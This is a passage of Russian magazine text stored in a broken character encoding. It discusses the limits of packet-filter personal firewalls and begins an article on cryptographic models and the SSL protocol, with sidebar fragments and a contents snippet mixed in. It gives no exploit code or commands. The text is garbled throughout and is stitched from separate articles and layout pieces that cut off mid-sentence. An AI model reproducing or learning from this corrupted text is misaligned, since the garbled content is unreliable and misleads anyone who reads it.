äîê ìåäëåííåå, ïîñêîëüêó âû-
íóæäåíû ïîëíîñòüþ ïåðåñîáè-
ðàòü TCP-ïàêåòû, ÷òî çíà÷è-
òåëüíî óâåëè÷èâàåò ëàòåíò-
íîñòü. Ñ äîìàøíèìè è îôèñíû-
ìè ëîêàëêàìè îíè åùå ñïðàâëÿ-
þòñÿ, íî íà âûñîêîñêîðîñòíûõ
êàíàëàõ îêàçûâàþòñÿ êàòåãîðè-
÷åñêè íåïðèìåíèìû.

Òåì íå ìåíåå, ó ïàêåòíûõ
ôèëüòðîâ òîæå åñòü ïðîáëåìû.
Áîëüøèíñòâî ïåðñîíàëüíûõ
áðàíäìàóýðîâ, ïîñòðîåííûõ ïî
ýòîé ñõåìå, ñåðüåçíî òîðìîçÿò
äàæå íà ìîäåìíûõ ñîåäèíåíèÿõ,
íå ãîâîðÿ óæå î DSL-ïîäêëþ÷å-
íèè. Íà ïðîñòîì web-ñåðôèíãå

çàäåðæêà ïðàêòè÷åñêè íåçàìåò-
íà, íî ïðè àêòèâíîé ðàáîòå ñ
íåñêîëüêèìè äåñÿòêàìè TCP/IP-
ñîåäèíåíèé îíà ìîæåò "îòúå-
äàòü" ÷óòü ëè íå ïîëîâèíó ïðî-
ïóñêíîé ñïîñîáíîñòè êàíàëà, à
ýòî óæå íåõîðîøî. Êîíå÷íî,
ðàçðàáîò÷èêè áðàíäìàóýðîâ ìî-
ãóò âîçðàçèòü, ÷òî, ìîë, íà ïåð-
ñîíàëüíûõ êîìïüþòåðàõ òàêîå
êîëè÷åñòâî ñîåäèíåíèé íèêîìó
íå íóæíî, íî ýòî áóäåò íàãëàÿ
ëîæü. Îñåë òðåáóåò îò òðåõñîò
äî ïÿòèñîò ñîåäèíåíèé, òî æå
ñàìîå îòíîñèòñÿ ê äðóãèì ôàé-
ëîîáìåííûì êëèåíòàì. Ê òîìó
æå ïðè îðãàíèçàöèè ëîêàëüíîé
ñåòè íà êîìïüþòåð, ñìîòðÿùèé â
èíòåðíåò, ëîæèòñÿ äîâîëüíî-òà-
êè ïðèëè÷íàÿ íàãðóçêà.

Äëÿ íîðìàëüíîé ôèëüòðàöèè
òðàôèêà òðåáóåòñÿ êîëîññàëü-

íîå êîëè÷åñòâî ïàìÿòè è íåõè-
ëûå ïðîöåññîðíûå ðåñóðñû. Âñå
äåëî â òîì, ÷òî äàííûå ïåðåäà-
þòñÿ ïî ñåòè íå ñïëîøíûì ïîòî-
êîì, à ðàñùåïëÿþòñÿ íà ìíîãîó-
ðîâíåâóþ èåðàðõèþ ïàêåòîâ. Â
ãðóáîì ïðèáëèæåíèè: Ethernet->
IP-> TCP/UDP. Îäèí TCP/UDP-
ïàêåò ðàçáèâàåòñÿ íà ìíîæåñò-
âî IP-ïàêåòîâ, êîòîðûå "âûâàëè-
âàþòñÿ " â ñåòü íàñòîÿùåé
"ãîðñòüþ ðèñà", òî åñòü â ðàçó-
ïîðÿäî÷åííîì ñîñòîÿíèè. Ïîðÿ-
äîê äîñòàâêè IP-ïàêåòîâ ìîæåò
íå ñîâïàäàòü ñ ïîðÿäêîì èõ "íà-
ðåçêè" â TCP-ïàêåòå, ïðè÷åì íå-
êîòîðûå IP-ïàêåòû ìîãóò òåðÿòü-
ñÿ è òîãäà îòïðàâëÿþùàÿ ñòîðî-
íà ïåðåäàåò èõ âíîâü è âíîâü...
Äà è ñàìà óñòàíîâêà TCP-ñîåäè-
íåíèÿ ïðåäñòàâëÿåò ñîáîé ìíî-
ãîñòàäèéíóþ îïåðàöèþ. Ïàêåò-
íûé ôèëüòð, ðàáîòàþùèé íà IP-
óðîâíå, áóäåò ïðîñòî íåôóíêöè-
îíàëåí! Äîñòàòî÷íî ñêàçàòü, ÷òî
â IP-ïðîòîêîëå íåò ïîíÿòèÿ
"ïîðòà" è "çàêðûòü" ïîðò ñ IP
óðîâíÿ íåâîçìîæíî. Óïðîùåí-
íî ýòî âûãëÿäèò òàê: îòïðàâè-
òåëü ïîñûëàåò ïîëó÷àòåëþ êíè-
ãó, ðàçðåçàííóþ íà ìåëêèå êóñ-

ÏÐÎÁËÅÌÛ ÏÀÊÅÒÍÛÕ ÔÈËÜÒÐÎÂ

»
Ëþáîé áðàíäìàóýð - ïî ñóòè, ñòåíà

Õàêåðû àòàêóþò
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êè, ïðîèçâîëüíûì îáðàçîì ïå-
ðåìåøàííûå ìåæäó ñîáîé, à ïî-
ëó÷àòåëü òåì èëè èíûì îáðàçîì
ñîáèðàåò ýòîò puzzle â èñõîäíûé
âèä. Äîïóñòèì, ìåæäó íèìè ñè-
äèò çëîé öåíçîð, êîòîðûé âíè-
ìàòåëüíî ïðîñìàòðèâàåò êàæ-
äûé êóñî÷åê íà ïðåäìåò "ïîëèò-
êîððåêòíîñòè" è ëèáî óíè÷òîæà-
åò åãî, ëèáî ïåðåäàåò "íàâåðõ".
Î÷åâèäíî, åñëè öåíçîð (îí æå
áðàíäìàóýð) íå áóäåò âûïîë-
íÿòü ïîëíîé ñáîðêè TCP-ïàêå-
òîâ, îí íå çàìåòèò íè÷åãî ïîäîç-
ðèòåëüíîãî. Òåîðåòè÷åñêè, ìîæ-
íî ïîñàäèòü áðàíäìàóýð íà
TCP/UDP-óðîâåíü è ôèëüòðî-
âàòü óæå ñîáðàííûå ïàêåòû, íî
òîãäà õàêåð ñìîæåò ïåðåäàòü
"ñûðîé" IP-ïàêåò è áðàíäìàóýð
áóäåò â øëÿïå :).

Ìàêñèìàëüíàÿ çàùèòà îáåñïå-
÷èâàåòñÿ ïðè ôèëüòðàöèè ïàêå-
òîâ íà Ethernet-óðîâíå. Ïðè óñ-
ëîâèè, ÷òî áðàíäìàóýð ñêîí-
ñòðóèðîâàí áåç îøèáîê, íèêà-
êîé õàêåð íå ñìîæåò åãî îáîéòè.
Áîëüøèíñòâî ðàçðàáîò÷èêîâ
èìåííî òàê è ïîñòóïàþò. Òèïè÷-
íûé ïåðñîíàëüíûé áðàíäìàóýð
âñòðàèâàåòñÿ â "ðàçðûâ" ìåæäó
äðàéâåðîì ñåòåâîé ïëàòû è
TCPIP.SYS-äðàéâåðîì, êîòîðûé,
êàê è ñëåäóåò èç åãî íàçâàíèÿ,
ðåàëèçóåò ïðîòîêîë TCP/IP. Ïðè
ýòîì áðàíäìàóýð äîëæåí ñàìîñ-
òîÿòåëüíî ñîáèðàòü TCP-ïàêå-
òû, ôàêòè÷åñêè ïîëíîñòüþ ïîâ-
òîðÿÿ ñîáîé TCPIP.SYS, ðåàëè-
çàöèÿ êîòîðîãî ÿâëÿåòñÿ âåñüìà
íåòðèâèàëüíîé çàäà÷åé. Íî ýòî
åùå öâåòî÷êè. Ïîïðîáóåì ðàñ-
ñ÷èòàòü ïèêîâóþ ïîòðåáíîñòü â

îïåðàòèâíîé ïàìÿòè. Âîçüìåì
ãèãàáèòíûé Ethernet , òàéì-àóò â
30 ñåêóíä è 100 ñîåäèíåíèé. Ïî-
ëó÷àåì: 1.073.741.824 õ 30 õ 100
/ 8 = 402.653.184.000 áàéò èëè
375 Ãá. Êàêàÿ òàì îïåðàòèâíàÿ
ïàìÿòü - äàæå âèí÷åñòåðîâ òà-
êîãî îáúåìà â ïåðñîíàëüíûõ
êîìïüþòåðàõ åùå íå âñòðå÷àåò-
ñÿ! Íà ñàìîì äåëå ýòî ïðîáëåìà
íå áðàíäìàóýðà, à ñàìîãî ïðîòî-
êîëà TCP/IP (èìåííî íà ýòîì è
îñíîâàíà èçâåñòíàÿ SYN-àòàêà),
íî áðàíäìàóýð óäâàèâàåò ïîò-
ðåáíîñòè TCP/IP-ñòåêà â îïåðà-
òèâíîé ïàìÿòè, ÷òî íå åñòü õîðî-
øî. Íî ýòî åùå ïîëáåäû: õóæå
âñåãî, ÷òî áðàíäìàóýð íå ìîæåò
îòäàâàòü IP-ïàêåòû "íàâåðõ" äî
òåõ ïîð, ïîêà îí íå ñîáåðåò âåñü
TCP-ñåãìåíò öåëèêîì è íå ïðî-
âåðèò åãî íà "âøèâîñòü". Ïàêåò-
íûé ôèëüòð âûíóæäåí íàêàïëè-
âàòü ïîñòóïàþùèå äàííûå â
ñâîèõ ñîáñòâåííûõ î÷åðåäÿõ è
ëèáî "ïðèáèâàòü" íåïðàâèëü-
íûé TCP, ëèáî îòäàâàòü íàêîï-
ëåííûå IP âñåì ñêîïîì. À âîò îò
ýòîãî îïåðàöèîííîé ñèñòåìå ìî-
æåò î÷åíü ñèëüíî ïîïëîõåòü.
Ïðîöåññîð áóäåò ïðîñòî íå óñ-
ïåâàòü îáðàáàòûâàòü òàêóþ îðà-

âó, è âîçíèêíóò íåèçáåæíûå
òîðìîçà. Ê òîìó æå âñå íàñòðîé-
êè îïåðàöèîííîé ñèñòåìû, êàñà-
þùèåñÿ TCP/IP, îêàæóòñÿ áåñ-
ïîëåçíûìè, ïîñêîëüêó òàêîé
áðàíäìàóýð ôàêòè÷åñêè óïîäîá-
ëÿåòñÿ ïðîêñè-ñåâåðó, îòðåçàþ-
ùåìó åãî îò âíåøíåãî ìèðà.

Â íîðìàëüíûõ îïåðàöèîííûõ
ñèñòåìàõ (LINUX, FreeBSD) ïà-
êåòíûé ôèëüòð èçíà÷àëüíî
âñòðîåí â TCP/IP-äðàéâåð, è òàì
òàêèõ ïðîáëåì ïðîñòî íå âîçíè-
êàåò. Â Windows ïàêåòíûé
ôèëüòð âïåðâûå ïîÿâèëñÿ â
2000 SP2, êîòîðûé áûë ñóùåñò-
âåííî äîðàáîòàí â XP, íî äî çâà-
íèÿ áðàíäìàóýðà åìó åùå äàëå-
êî, è åãî î÷åíü ëåãêî îáîéòè.

Ñèòóàöèÿ ïðÿìî êàê ó Õàíëàé-
íà: "...äî÷èòàâ èíñòðóêöèþ äî
êîíöà, ÿ óäèâèëñÿ, êàê ÷åëîâåê
óõèòðÿåòñÿ âûæèòü, äà åùå â
ñêàôàíäðå". Â îáùåì, ìÿñîêîì-
áèíàò ïîëíûé. Êàê æå ñî âñåì
ýòèì ñïðàâëÿþòñÿ ïåðñîíàëü-
íûå áðàíäìàóýðû? Âåäü îíè æå
ðàáîòàþò! Èëè äåëàþò âèä, ÷òî
ðàáîòàþò. Äà íèêàê íå ñïðàâëÿ-
þòñÿ! Îíè ðàáîòàþò èñêëþ÷è-
òåëüíî íà IP-óðîâíå, ýìóëèðóÿ
ëèøü íåñêîëüêî âàæíåéøèõ
ôóíêöèé TCP. Ñáîðêà ïàêåòîâ è
ïðîâåðêà êîíòðîëüíîé ñóììû â
ýòîò ïåðå÷åíü, åñòåñòâåííî, íå
âõîäèò. Ïðè óñëîâèè ÷òî çàãîëî-
âîê TCP-ïàêåòà ïîëíîñòüþ ïî-
ìåùàåòñÿ â IP-ïàêåò, áðàíäìàó-
ýð ìîæåò îïðåäåëèòü ïîðò íàç-
íà÷åíèÿ è áåç ñáîðêè, ÷òî ïîç-
âîëÿåò åìó "çàêðûâàòü" îõðàíÿ-
åìûå ïîðòû, âïðî÷åì, ýòó çàùè-
òó î÷åíü ëåãêî îáîéòè, ïðè÷åì
êàê èçâíå, òàê è èçíóòðè.

Ïåðñîíàëüíûå áðàíäìàóýðû
îáåñïå÷èâàþò ëèøü ìèíèìàëü-
íóþ çàùèòó îò "ïèîíåðîâ", ïðè

ÏÐÎÁËÅÌÛ ÏÀÊÅÒÍÛÕ ÔÈËÜÒÐÎÂ (ÏÐÎÄÎËÆÅÍÈÅ)

Ôèëüòðû óðîâ-
íÿ ïðèëîæåíèé
- ýòî ïðîêñè.

Ïàêåòíûé
ôèëüòð - ýòî
ìàðøðóòèçà-
òîð.

Âñå áðàíäìàó-
ýðû äåëÿòñÿ íà
äâà òèïà: ïà-
êåòíûå ôèëüò-
ðû è ôèëüòðû
óðîâíÿ ïðèëî-
æåíèé.

»
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ýòîì äîâîëüíî ñóùåñòâåííî
òîðìîçÿò ñîåäèíåíèå, ïîñêîëü-
êó ïðîñìîòð çàãîëîâêîâ ïàêåòîâ
çàíèìàåò êàêîå-òî âðåìÿ. Òåîðå-
òè÷åñêè, íàêëàäíûå ðàñõîäû
ëåãêî ñâåñòè ê íóëþ. Äëÿ ýòîãî
äàæå íåîáÿçàòåëüíî ïðîãðàì-
ìèðîâàòü íà àññåìáëåðå: õîðî-
øèé ïàêåòíûé ôèëüòð ìîæíî
íàïèñàòü è íà Ñ, åñëè, êîíå÷íî,
ïîäîéòè ê äåëó ñ ãîëîâîé, îäíà-
êî äîñòîéíûõ ïðîäóêòîâ íà ðûí-
êå ïîêà íå íàáëþäàåòñÿ.

Íåêîòîðûå áðàíäìàóýðû íå
ïðîñòî ôèëüòðóþò ïàêåòû ïî
êðèòåðèÿì ïîðòîâ èëè IP-àäðå-
ñîâ, íî åùå è ïðîâåðÿþò èõ íà
ñîîòâåòñòâèå ñòàíäàðòàì RFC
èëè àíàëèçèðóþò ñîäåðæèìîå
íà ïðåäìåò íàëè÷èÿ ÷åðâåé èëè
èñïîëüçîâàíèÿ òåõ èëè èíûõ
óÿçâèìîñòåé êëèåíòñêèõ ïðèëî-
æåíèé. Äëÿ íåèñêóøåííîãî
ïîëüçîâàòåëÿ çâó÷èò çàìàí÷è-
âî, íî â äåéñòâèòåëüíîñòè âñå
ýòî ïîëíàÿ ÷óøü. Íà÷íåì ñî
ñòàíäàðòîâ. Èõ ìíîãî õîðîøèõ è
ðàçíûõ, à ðàçíî÷òåíèé â ñòàí-
äàðòàõ åùå áîëüøå. Ïîýòîìó
íåëüçÿ ñ óâåðåííîñòüþ ñêàçàòü,
ñîîòâåòñòâóåò ëè êîíêðåòíî âçÿ-
òûé ïàêåò ñòàíäàðòó. Áîëüøèí-
ñòâî àòàê ðåàëèçóåòñÿ âïîëíå
ñòàíäàðòíûìè TCP/IP-ïàêåòàìè,
è çàäà÷à áðàíäìàóýðà ñîñòîèò
íå â ñîáëþäåíèè ñòàíäàðòà, à â
åãî íàðóøåíèè. Íàïðèìåð, ïðè
óíè÷òîæåíèè ïàêåòà ñ èñòåêøèì

ñðîêîì æèçíè êàæäûé óçåë îáÿ-
çàí îòïðàâèòü ñïåöèàëüíîå óâå-
äîìëåíèå, äåñêàòü, âàøà äåïå-
øà ñäîõëà â äîðîãå, ïîýòîìó íå
âçûùèòå. Óòèëèòà trace route
èìåííî òàê è ðàáîòàåò. Îíà îòï-
ðàâëÿåò ìíîæåñòâî ïàêåòîâ ñ
ðàçëè÷íûì ñðîêîì æèçíè, à ïî-
òîì ñîáèðàåò óâåäîìëåíèÿ, ïîñ-
òóïàþùèå îòî âñåõ òðàíçèòíûõ
óçëîâ, ÷òî ïîçâîëÿåò ðåêîíñòðó-
èðîâàòü òîïîëîãèþ ñåòè. ×òîáû
âîñïðåïÿòñòâîâàòü ýòîìó,
áðàíäìàóýð äîëæåí íàðóøèòü
ñòàíäàðò è çàäåðæàòü óâåäîì-
ëåíèå î ñìåðòè!

Òåïåðü ïåðåéäåì ê ÷åðâÿì è
óÿçâèìîñòÿì. Î÷åâèäíî, ÷òî
ïðåäâèäåòü ñèãíàòóðû åùå íå
èçâåñòíûõ ÷åðâåé íèêàêîé
áðàíäìàóýð íå â ñèëàõ, è ïîýòî-
ìó åãî íåîáõîäèìî ïåðèîäè÷åñ-
êè îáíîâëÿòü. À ðàç òàê, òî íå
ëó÷øå ëè óñòàíîâèòü çàïëàòêó
íà ïðîãðàììíîå îáåñïå÷åíèå è
çàòêíóòü äûðó, ÷åðåç êîòîðóþ
ëåçóò ÷åðâè? Ïîëüçîâàòåëü ëè-
áî àïäåéòèòñÿ, ëèáî íåò. Åñëè îí
àïäåéòèòñÿ, òî òàêîé áðàíäìàó-
ýð åìó íå íóæåí, à åñëè íå àï-
äåéòèòñÿ - òóò óæå íè÷åãî íå ïî-
ìîæåò. Â îáùåì, ïîëó÷àåòñÿ
çàìêíóòûé êðóã.

Ê òîìó æå ïðîâåðêó ñîäåðæè-
ìîãî ïàêåòîâ íåâîçìîæíî îñó-
ùåñòâèòü íà IP-óðîâíå, è áðàíä-
ìàóýðó âñå-òàêè ïðèäåòñÿ ïîä-
íàïðÿ÷üñÿ è ñîáðàòü âåñü TCP,

ïðî ñëîæíîñòü êîòîðîãî ìû óæå
ãîâîðèëè. Ñàìî ñêàíèðîâàíèå
òàêæå ïîòðåáóåò íåêîòîðîãî
âðåìåíè è ïðîöåññîðíûõ ðåñóð-
ñîâ (îñîáåííî åñëè ÷åðâü óïà-
êîâàí ïîëèìîðôíûì óïàêîâùè-
êîì), à ïðî ýâðèñòè÷åñêèå àíà-
ëèçàòîðû ìû âîîáùå ìîë÷èì.
Ïðîâåðÿòü ñîäåðæèìîå ïàêåòîâ
íà ìîäåìíîì ñîåäèíåíèè åùå
ðåàëüíî, íî íà áûñòðûõ êàíàëàõ
ýòî òðóáà.

Ñêàçàííîå - âîâñå íå ïîâîä
äëÿ îòêàçà îò áðàíäìàóýðîâ.
Îíè, áåçóñëîâíî, íóæíû, íî íå
ñòîèò ïîðó÷àòü èì òå ôóíêöèè, ñ
êîòîðûìè îíè íå â ñîñòîÿíèè
ñïðàâèòüñÿ. Íèêòî æå íå ñòðå-
ìèòñÿ ïðåâðàòèòü ïîäâîäíóþ
ëîäêó â âåðòîëåò :). È äàæå åñëè
òàêîé àãðåãàò âñå-òàêè áóäåò
ñîçäàí, åãî òåõíè÷åñêèå õàðàê-
òåðèñòèêè áóäóò ÿâíî íå íà âû-
ñîòå: ïîäëîäêà òðåáóåò áîëü-
øîé ïëîòíîñòè è ïðî÷íîñòè
(èíà÷å êàê ïðèêàæåòå îïóñêàòü-
ñÿ íà ãëóáèíó?), à âåðòîëåò îáÿ-
çàí ìàêñèìàëüíî îáëåã÷èòü
ñâîé âåñ. Âîò òàê è áðàíäìàóý-
ðû. Óÿçâèìûå ïîðòû çàòûêàþò-
ñÿ çàïëàòêàìè. Ïàêåòíûé
ôèëüòð ñêðûâàåò ïðèâàòíûå óç-
ëû ëîêàëüíîé ñåòè îò "âíåøíå-
ãî ìèðà". Àíòèâèðóñû ëîâÿò àã-
ðåññèâíî íàñòðîåííûå ïðîãðàì-
ìû. Êàæäûé çàíÿò ñâîèì äåëîì,
è íèêòî íå ïûòàåòñÿ çàëåçòü â
îäíó øòàíèíó äâóìÿ íîãàìè.

ÏÐÎÁËÅÌÛ ÏÀÊÅÒÍÛÕ ÔÈËÜÒÐÎÂ (ÎÊÎÍ×ÀÍÈÅ)

Â LINUX è
FreeBSD ïàêåò-
íûé ôèëüòð
èçíà÷àëüíî
âñòðîåí â
TCP/IP-äðàé-
âåð, ÷òî ïîçâî-
ëÿåò èçáåæàòü
ìíîæåñòâà
ïðîáëåì.

"Ïðàâèëüíûå"
áðàíäìàóýðû:
SyGate
Personal
Firewall,
Outpost
Firewall, Zone
Alarm è äð.

Ïðèáëèçèòåëüíàÿ ñòðóêòóðà ñåòè èíòåðíåò (âèä èç êîñìîñà)



àìîå ãëàâíîå � îáåñïå÷èòü
êîìïëåêñíûé õàðàêòåð çàùè-
òû. Ïðî÷íîñòü öåïè îïðåäåëÿ-
åòñÿ ïðî÷íîñòüþ åå ñàìîãî
ñëàáîãî çâåíà. Â ýòîé ñòàòüå ÿ

ðàññêàæó ëèøü îá îäíîì àñïåêòå áåçîïàñ-
íîñòè � çàùèùåííûõ êðèïòîãðàôè÷åñêèõ
ïðîòîêîëàõ. Íà÷íåì ñ àçîâ, òî åñòü ñ ìîäåëåé
êðèïòîñèñòåì.

ÎÁÙÈÅ ÌÎÄÅËÈ
Èòàê, ó íàñ åñòü áàçîâàÿ ìîäåëü (ðèñ. 1).

×òî ìîæíî ñêàçàòü î íåé? Íåñìîòðÿ íà ïðè-
çûâû çàùèùàòü âñå ñîåäèíåíèÿ, èìåííî ýòà
ìîäåëü èñïîëüçóåòñÿ øèðå âñåãî :( ïî ñàìûì
ðàçíûì ïðè÷èíàì: èíîãäà íåâîçìîæíî ðåà-
ëèçîâàòü íà ïðàêòèêå ëþáóþ äðóãóþ ìîäåëü,
à ÷àùå èç-çà ëåíè ïðîãðàììèñòîâ.

Ðèñóíîê, äóìàþ, âñå ðàçúÿñíèë: åñòü äâà
ñóáúåêòà, îáìåíèâàþùèõñÿ èíôîðìàöèåé, è
ïåðåõâàò÷èê ñî ñíèôåðîì. Â áîëåå îáùåì
ñëó÷àå ïîñëåäíèé ñìîæåò òàêæå èçìåíÿòü
ñîîáùåíèÿ ïî ñâîåìó æåëàíèþ, íàâÿçûâàòü
ñâîè ñîîáùåíèÿ äðóãèì è èçûìàòü ñîîáùå-
íèÿ èç êàíàëà îáìåíà � ýòî íàçûâàåòñÿ àê-
òèâíûì ïåðåõâàòîì. Åñëè âçÿòü òàêóþ ìî-
äåëü è ïðåäïîëîæèòü, ÷òî ïðîòèâíèê ñ ëåã-
êîñòüþ ðåàëèçóåò àêòèâíûé ïåðåõâàò, ìû ïî-
ëó÷èì îñíîâó äëÿ âñåõ îñòàëüíûõ ìîäåëåé.

È åå ïåðâàÿ ìîäèôèêàöèÿ � ýòî îäíîêëþ÷å-
âàÿ (ñèììåòðè÷íàÿ) êðèïòîñèñòåìà (ðèñ. 2).

Ýòà ìîäåëü � âòîðàÿ ïî ïîïóëÿðíîñòè â ðå-
àëèçàöèè. Ïåðåä ïåðåäà÷åé ñîîáùåíèÿ â
îòêðûòûé êàíàë îòïðàâèòåëü ïðåîáðàçîâû-
âàåò åãî, òî åñòü çàøèôðîâûâàåò ñåêðåòíûì
êëþ÷îì. À íà äðóãîì êîíöå, äëÿ ïîëó÷åíèÿ
èñõîäíîé èíôîðìàöèè, âûïîëíÿåòñÿ îáðàò-
íûé ïðîöåññ � äåøèôðîâàíèå íà òîì æå ñà-
ìîì êëþ÷å. Ñàì êëþ÷ ïåðåäàåòñÿ ïî ñåêðåò-
íîìó êàíàëó, áëàãîäàðÿ êîòîðîìó ïåðåäàâàå-

ìàÿ èíôîðìàöèÿ ãàðàíòèðîâàííî ñòàíîâèòñÿ
àóòåíòè÷íîé (öåëîñòíîé è ïîäëèííîé) è íå-
äîñòóïíîé äëÿ ïðîòèâíèêà. Êðèïòîãðàôèÿ
"çíàåò" öåëûõ ñåìü âèäîâ àòàê íà òàêóþ ìî-
äåëü (îò àòàêè ïî øèôðîòåêñòó è äî àòàêè íà
îñíîâå âûáîðî÷íûõ òåêñòîâ, ïðè êîòîðîé
ïðîòèâíèê ìîæåò çàøèôðîâàòü è äåøèôðî-
âàòü ïðîèçâîëüíîå êîëè÷åñòâî òåêñòîâ, âû-
áèðàÿ ñëåäóþùèå íà îñíîâå ïðåäûäóùèõ ðå-
çóëüòàòîâ), íî èõ êëàññèôèêàöèÿ äîâîëüíî
ñêó÷íà, ïîýòîì ÿ îïóñòèë åå. Íî âîò òû ïîñ-
ìîòðåë íà ðèñóíîê, è òóò æå ó òåáÿ ðîäèëñÿ
âîïðîñ: "À ÷òî åñòü çàùèùåííûé êàíàë?" Â
èäåàëå êëþ÷ äîëæåí áûòü îòïðàâëåí ïîëó-
÷àòåëþ íà íîñèòåëå, íîñèòåëü â ÷åìîäàí÷è-
êå, ÷åìîäàí÷èê ó îõðàíû, îõðàíà â áðîíèðî-
âàííîé ìàøèíå, ñðàçó ïîñëå äîñòàâêè è
ðàñêðûòèÿ íîñèòåëü äîëæåí áûòü óíè÷òî-
æåí. Ïðè òàêîì ðàñêëàäå ïðîòèâíèêó
äåéñòâèòåëüíî ëåã÷å âçëîìàòü êîìïüþòåð, à
íå ñåéô íà êîëåñàõ. Ñ äðóãîé ñòîðîíû, åñëè
åñòü âîçìîæíîñòü ïåðåäàâàòü êëþ÷ ÏÎ ÒÀ-
ÊÎÌÓ ñåêðåòíîìó êàíàëó, òî ïî÷åìó áû íå
ïåðåäàâàòü ïî íåìó ëþáóþ èíôîðìàöèþ ;)?
Êðîìå òîãî, åñòü åùå îäíà ïðîáëåìà � óñòà-
ðåâàíèå êëþ÷åé. Â èäåàëå ñèììåòðè÷íûé
êëþ÷ äîëæåí èñïîëüçîâàòüñÿ òîëüêî îäèí
ðàç: çíàíèå íåñêîëüêèõ ïàð îòêðûòûé
òåêñò/øèôðîòåêñò ìîæåò ïîìî÷ü êðèïòîàíà-
ëèòèêó (õàêåðó ñî ñíèôåðîì óæå íè÷òî íå
ïîìîæåò :)). Òàê ÷òî æå ïîëó÷àåòñÿ? Êàæäûé
ðàç ìàøèíó îòïðàâëÿòü?! Ýòè (è íå òîëüêî)
ïðîáëåìû ðåøèëî ïîÿâëåíèå äâóõêëþ÷åâîé
(àñèììåòðè÷íîé) ìîäåëè (ðèñ. 3).

Äóìàþ, òû ïðåêðàñíî çíàåøü, ÷òî òàêîå
ñåêðåòíûé è îòêðûòûé êëþ÷è è êàê ðàáîòàåò
ýòà ìîäåëü. Åùå ëó÷øå òû çíàåøü, ÷òî åñëè
ïîìåíÿòü ìåñòàìè ñåêðåòíûé è îòêðûòûé
êëþ÷è, òî ïîëó÷èòñÿ ýëåêòðîííî-öèôðîâàÿ
ïîäïèñü (íó, íå ñîâñåì � îá ýòîì íèæå). Òóò ÿ

Ñ

Alek Silverstone (aleksi@pisem.net)

Ò âîð÷åñòâî� Ñîçèäàíèå� Âî âñå âðåìåíà ÷åëîâåê ñòðåìèëñÿ ñîçäàòü ÷òî-íè-
áóäü ñâîå, óäèâèòåëüíîå è íåïîíÿòíîå. Ïðîãðàììèñòû íèêîãäà íå áûëè èñê-

ëþ÷åíèåì, íî èì ïðèõîäèòñÿ çàáîòèòüñÿ åùå è î ïîëüçå ïðîäóêòîâ, óäîáñòâå è
ñêîðîñòè ðàáîòû ñ íèìè� Êàêàÿ óæ òóò áåçîïàñíîñòü! È âñå-òàêè îñíîâíîé
öåëüþ òðóäà ïðîãðàììèñòà äîëæíà áûòü èìåííî áåçîïàñíîñòü âñåãäà è âî âñåì.
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72 Ñäåëàé ýòî
áåçîïàñíûì!
Ñîçäàíèå è èññëåäîâàíèå
êðèïòîãðàôè÷åñêèõ ïðîòîêîëîâ

78 Çàáûòûé ïðîòîêîë îò
AOL
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ðàçâå ÷òî îáðàùàþ âñåîáùåå âíèìà-
íèå íà çàìåíó ñåêðåòíîãî êàíàëà àó-
òåíòè÷íûì. Ïîñëåäíèé äîñòóïåí ïðî-
òèâíèêó äëÿ ïàññèâíîãî ïåðåõâàòà -
öåëîñòíîñòü è ïðèíàäëåæíîñòü äîëæ-
íû ïî-ïðåæíåìó ñîáëþäàòüñÿ. Ýòà
ñõåìà òàêæå íå ëèøåíà íåäîñòàòêîâ.
Ñàìûì áîëüøèì èç íèõ ÿâëÿåòñÿ íèç-
êîå áûñòðîäåéñòâèå: íàïðèìåð, àñèì-
ìåòðè÷íûé àëãîðèòì RSA ïðèìåðíî â
100 ðàç ìåäëåííåå ñèììåòðè÷íîãî
DES'à.

Ïðèìåíåíèå ãèáðèäíîé ñõåìû íàè-
áîëåå æåëàòåëüíî (ðèñ. 4).

Â íåé èñõîäíîå ñîîáùåíèå øèôðó-
åòñÿ ñèììåòðè÷íûì êëþ÷îì, êîòîðûé
â ñâîþ î÷åðåäü çàøèôðîâûâàåòñÿ
îòêðûòûì êëþ÷îì ïîëó÷àòåëÿ. Ïîñ-
ëåäíèé äåøèôðóåò ñèììåòðè÷íûé
êëþ÷, êîòîðûì äåøèôðóåò ñîîáùå-
íèå. Ñèììåòðè÷íûé êëþ÷ ñëó÷àåí è
èñïîëüçóåòñÿ òîëüêî â ýòîì ñåàíñå
ñâÿçè, ïîòîìó-òî îí è íàçûâàåòñÿ ñå-
àíñîâûì. Êàíàë ñâÿçè è ïðîòèâíèê íà
ðèñóíêå íå óìåñòèëèñü :). Ïîäðîáíåå
îá ýòîé ñõåìå â ñëåäóþùåì ðàçäåëå.

ÏÐÎÒÎÊÎË SSL
Ïîæàëóé, ïîðà íåñêîëüêî ïðèáëè-

çèòüñÿ ê ïðàêòèêå. Â êà÷åñòâå ïðèìåðà
ÿ ðàññìîòðþ âñåì èçâåñòíûé ïðîòîêîë
SSL, òî÷íåå, õîä ìûñëåé åãî ðàçðàáîò-
÷èêîâ :). Ñàìó ñïåöèôèêàöèþ ïðîòîêî-
ëà ìîæíî óòÿíóòü ñ
wp.netscape.com/eng/ssl3. Ïðîòîêîë áóäåò
ðàññìîòðåí íà ïðèìåðàõ îáìåíà ìåæäó
êëèåíòîì Àíäðååì è ñåðâåðîì Áàíêîì.
À â êà÷åñòâå ïðîòèâíèêà âûñòóïèò èç-
âåñòíûé ãåðîé Âàñèëèé Ïóïêèí.

Ïðåäïîëîæèì, Àíäðåé õî÷åò ïðîâå-
ðèòü, äåéñòâèòåëüíî ëè Áàíê ÿâëÿåòñÿ
òåì æå ëèöîì, çà êîãî âûäàåò ñåáÿ.
Áàíê èìååò îòêðûòûé è ñåêðåòíûé
êëþ÷è, Àíäðåé íå èìååò ñâîåé ïàðû
(õîòÿ ýòî èäåîëîãè÷åñêè íåâåðíî �
ñìîòðè êîíåö ýòîãî ïóíêòà) è ìîæåò
ïîëüçîâàòüñÿ òîëüêî îòêðûòûì êëþ-
÷îì Áàíêà. Áóäåì ñ÷èòàòü, ÷òî Àíäðåé
óæå çíàåò åãî (ñïîñîá ïåðåäà÷è ÿ
óòî÷íþ ïîçäíåå). Òîãäà äëÿ ïðîâåðêè
ïîäëèííîñòè èñòî÷íèêà èíôîðìàöèè
ìîæåò áûòü èñïîëüçîâàí ïðîòîêîë ¹1
(íà ñîîòâåòñòâóþùåì ðèñóíêå).

Àíäðåé ïðèíèìàåò ñîîáùåíèå è äå-
øèôðóåò åãî íà îòêðûòîì êëþ÷å Áàí-
êà. Åñëè ðåçóëüòàò ñîâïàäàåò ñ òåì ñî-
îáùåíèåì, êîòîðîå îòîñëàëè èçíà-
